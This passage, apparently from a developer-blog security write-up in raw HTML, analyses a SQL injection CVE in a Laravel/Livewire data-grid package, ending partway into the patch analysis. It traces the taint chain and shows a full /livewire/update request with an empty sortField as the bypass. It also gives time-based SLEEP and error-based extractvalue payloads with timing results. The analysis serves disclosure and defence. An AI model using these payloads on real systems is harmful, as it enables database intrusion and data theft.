        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;preg_replace_callback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/\{(\w+)\}/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$property&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;data_get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$property&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// line 65 — no escaping&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;...and executed on the very next line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$method&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="nv"&gt;$resolvedSql&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$resolvedBindings&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// $method === 'orderByRaw'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;data_get($this-&amp;gt;component, 'sortDirection')&lt;/code&gt; returns the attacker's raw string, &lt;code&gt;preg_replace_callback&lt;/code&gt; splices it into the SQL text, and it's handed to &lt;code&gt;orderByRaw()&lt;/code&gt; — a function whose contract explicitly assumes the caller already sanitized the input.&lt;/p&gt;

&lt;p&gt;Notably, the very same class has a safe parameter-binding path, &lt;code&gt;resolveBindings()&lt;/code&gt;, two lines below. &lt;code&gt;naturalSort&lt;/code&gt; simply never uses it (&lt;code&gt;'bindings' =&amp;gt; []&lt;/code&gt;) — and to be fair, &lt;code&gt;ORDER BY&lt;/code&gt; direction keywords like &lt;code&gt;asc&lt;/code&gt;/&lt;code&gt;desc&lt;/code&gt; sit in a SQL position where parameter binding isn't syntactically valid in the first place. A whitelist was really the only correct answer here.&lt;/p&gt;

&lt;h3&gt;
  
  
  The full taint chain
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /livewire/update
  → public string $sortDirection            (Sorting.php:13, unvalidated)
  → data_get($component, 'sortDirection')   (ColumnRawQueries.php:65)
  → "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))"
  → orderByRaw($sql)                        (ColumnRawQueries.php:52)
  → MySQL / MariaDB / PgSQL / SQLite / MSSQL
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwd1vs1bcx7vb3o91u4sv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwd1vs1bcx7vb3o91u4sv.png" alt=" " width="616" height="498"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Diagram walkthrough&lt;/strong&gt;: this shows the three-stage path attacker input travels to reach the database. Stage 1 (light blue) is where the unvalidated &lt;code&gt;$sortDirection&lt;/code&gt; property is declared. Stage 2 is where that value gets embedded as a placeholder inside a raw SQL string. Stage 3 (dark navy, the vulnerable point) is where the placeholder is substituted with the real, unescaped value and handed to &lt;code&gt;orderByRaw()&lt;/code&gt;. The arrows trace the exact direction the attacker's data flows.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The interesting part — how Laravel's own validation got bypassed
&lt;/h2&gt;

&lt;p&gt;Stopping the analysis here would make this just another "raw SQL, no escaping" story. What makes this CVE worth a deeper look is that &lt;strong&gt;Laravel's built-in defense was already present&lt;/strong&gt; — and it still got sidestepped.&lt;/p&gt;

&lt;p&gt;PowerGrid processes queries through a pipeline, and two stages touch sort direction:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;① The &lt;code&gt;Sorting&lt;/code&gt; pipeline&lt;/strong&gt; — &lt;code&gt;src/DataSource/Processors/Database/Pipelines/Sorting.php&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;mixed&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Closure&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;mixed&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;filled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sortField&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;          &lt;span class="c1"&gt;// line 21 ← this is the crux&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;multiSort&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;applyMultipleSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;applySingleSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sortField&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sortDirection&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;applySingleSort&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$sortField&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$direction&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;orderBy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;resolveSortField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sortField&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nv"&gt;$direction&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// line 42&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;orderBy()&lt;/code&gt; is Laravel's &lt;strong&gt;validating&lt;/strong&gt; API. Feed it anything other than &lt;code&gt;asc&lt;/code&gt;/&lt;code&gt;desc&lt;/code&gt; and it throws immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;InvalidArgumentException: Order direction must be "asc" or "desc".
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In normal usage — a user clicks a column header, sending &lt;code&gt;sortField=name&lt;/code&gt; and &lt;code&gt;sortDirection=&amp;lt;payload&amp;gt;&lt;/code&gt; — this exception blocks the attack. At this point it would be easy to conclude "Laravel already mitigates this."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;② The &lt;code&gt;ColumnRawQueries&lt;/code&gt; pipeline&lt;/strong&gt; — the second stage from earlier never references that validation at all. Its &lt;code&gt;handle()&lt;/code&gt; unconditionally applies the raw query for any column configured with &lt;code&gt;naturalSort&lt;/code&gt;, regardless of what &lt;code&gt;sortField&lt;/code&gt; holds.&lt;/p&gt;

&lt;p&gt;That asymmetry is the entire bug.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;code&gt;sortField&lt;/code&gt; value&lt;/th&gt;
&lt;th&gt;
&lt;code&gt;Sorting&lt;/code&gt; pipeline&lt;/th&gt;
&lt;th&gt;
&lt;code&gt;ColumnRawQueries&lt;/code&gt; pipeline&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;"name"&lt;/code&gt; (non-empty)&lt;/td&gt;
&lt;td&gt;Runs → &lt;code&gt;orderBy()&lt;/code&gt; &lt;strong&gt;validates&lt;/strong&gt; → throws on payload&lt;/td&gt;
&lt;td&gt;Runs → injects&lt;/td&gt;
&lt;td&gt;❌ Blocked by exception&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;""&lt;/code&gt; (empty string)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;filled('')&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt; → &lt;strong&gt;skipped entirely&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;Runs → injects&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;Injection succeeds&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Setting &lt;code&gt;sortField&lt;/code&gt; to an empty string causes the validating pipeline to skip itself.&lt;/strong&gt; Meanwhile the raw pipeline still builds &lt;code&gt;naturalSort&lt;/code&gt;'s &lt;code&gt;ORDER BY&lt;/code&gt; clause. Laravel's validation code is never invoked — it's not bypassed so much as the code path that contains it simply never executes.&lt;/p&gt;

&lt;p&gt;The real attack, then, isn't a single field — it's a &lt;strong&gt;combination of two&lt;/strong&gt;: &lt;code&gt;sortDirection&lt;/code&gt; carries the payload, and &lt;code&gt;sortField=""&lt;/code&gt; is the key that opens the door.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdiyfzdjpdcw5ngozs57e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdiyfzdjpdcw5ngozs57e.png" alt=" " width="679" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Diagram walkthrough&lt;/strong&gt;: this shows the branching logic that decides which of two pipelines runs, based on the value of &lt;code&gt;sortField&lt;/code&gt;. The left path (light blue) is the safe route taken when &lt;code&gt;sortField&lt;/code&gt; is non-empty — &lt;code&gt;orderBy()&lt;/code&gt;'s validation throws an exception and the attack is blocked. The right path (dark navy) is the route taken when &lt;code&gt;sortField&lt;/code&gt; is empty — the validating pipeline is skipped, only the raw query pipeline runs, and injection succeeds. The payload box at the bottom shows the actual combination of both field values sent to the server.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. The actual attack request
&lt;/h2&gt;

&lt;p&gt;Every attack goes through Livewire's standard update endpoint. No special headers, custom routes, or admin functionality required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Endpoint&lt;/strong&gt;: &lt;code&gt;POST /livewire/update&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"_token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;CSRF token scraped from the page&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"components"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"snapshot"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;wire:snapshot from the PowerGrid component&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"updates"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"sortField"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"sortDirection"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"asc, (SELECT SLEEP(3))"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"calls"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;updates.sortDirection&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Injection point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SQL payload, prefixed with a valid direction keyword to keep the clause syntactically valid&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;updates.sortField&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Bypass key&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;""&lt;/code&gt; — the empty string that skips the validating pipeline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;snapshot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Plumbing&lt;/td&gt;
&lt;td&gt;Scraped from the rendered &lt;code&gt;wire:snapshot="..."&lt;/code&gt; attribute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;_token&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Plumbing&lt;/td&gt;
&lt;td&gt;Scraped from &lt;code&gt;data-csrf="..."&lt;/code&gt; or the page's CSRF blob&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The SQL actually produced (from a MariaDB lab environment):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nv"&gt;`rooms`&lt;/span&gt;
&lt;span class="k"&gt;order&lt;/span&gt; &lt;span class="k"&gt;by&lt;/span&gt; &lt;span class="k"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;NULLIF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;REGEXP_REPLACE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'[[:alpha:]]+'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="nb"&gt;SIGNED&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;asc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;SLEEP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;limit&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="k"&gt;offset&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Proof — two independent verification techniques
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Error-based proof
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nv"&gt;`rooms`&lt;/span&gt; &lt;span class="k"&gt;order&lt;/span&gt; &lt;span class="k"&gt;by&lt;/span&gt; &lt;span class="k"&gt;CAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;NULLIF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;REGEXP_REPLACE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'[[:alpha:]]+'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="nb"&gt;SIGNED&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;asc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;extractvalue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x7e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rooms&lt;/span&gt; &lt;span class="k"&gt;limit&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;
&lt;span class="k"&gt;limit&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="k"&gt;offset&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns an HTTP 500 with a &lt;code&gt;SQLSTATE[HY000] 1105&lt;/code&gt; error, and the error message itself leaks the result of the injected subquery directly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Blind time-based oracle
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Request&lt;/th&gt;
&lt;th&gt;Response time&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;asc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.02s&lt;/td&gt;
&lt;td&gt;Baseline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;asc, (SELECT SLEEP(3))&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9.04s&lt;/td&gt;
&lt;td&gt;Confirms injection executes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;asc, (SELECT SLEEP(3) WHERE secret LIKE 'TOPSECRET%')&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9.03s&lt;/td&gt;
&lt;td&gt;TRUE — value matches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;asc, (SELECT SLEEP(3) WHERE secret LIKE 'ZZZ%')&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.02s&lt;/td&gt;
&lt;td&gt;FALSE — confirms oracle accuracy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The clean TRUE/FALSE separation is what proves this isn't just "the response got slow" — it's a working oracle that can exfiltrate arbitrary data character by character. (The 9-second delay for a 3-second &lt;code&gt;SLEEP()&lt;/code&gt; happens because sorting applies the sleeping expression per row — if anything, this makes the signal stronger, not weaker.)&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/ITRUlQp9l-U"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Patch analysis (v6.10.4)
&lt;/h2&gt;

&lt;p&gt;The maintainer applied &lt;strong&gt;defense in depth across four separate locations&lt;/strong&gt;. The core function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/DataSource/Support/Sql.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;sanitizeSortDirection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;?string&lt;/span&gt; &lt;span class="nv"&gt;$direction&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$direction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$direction&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

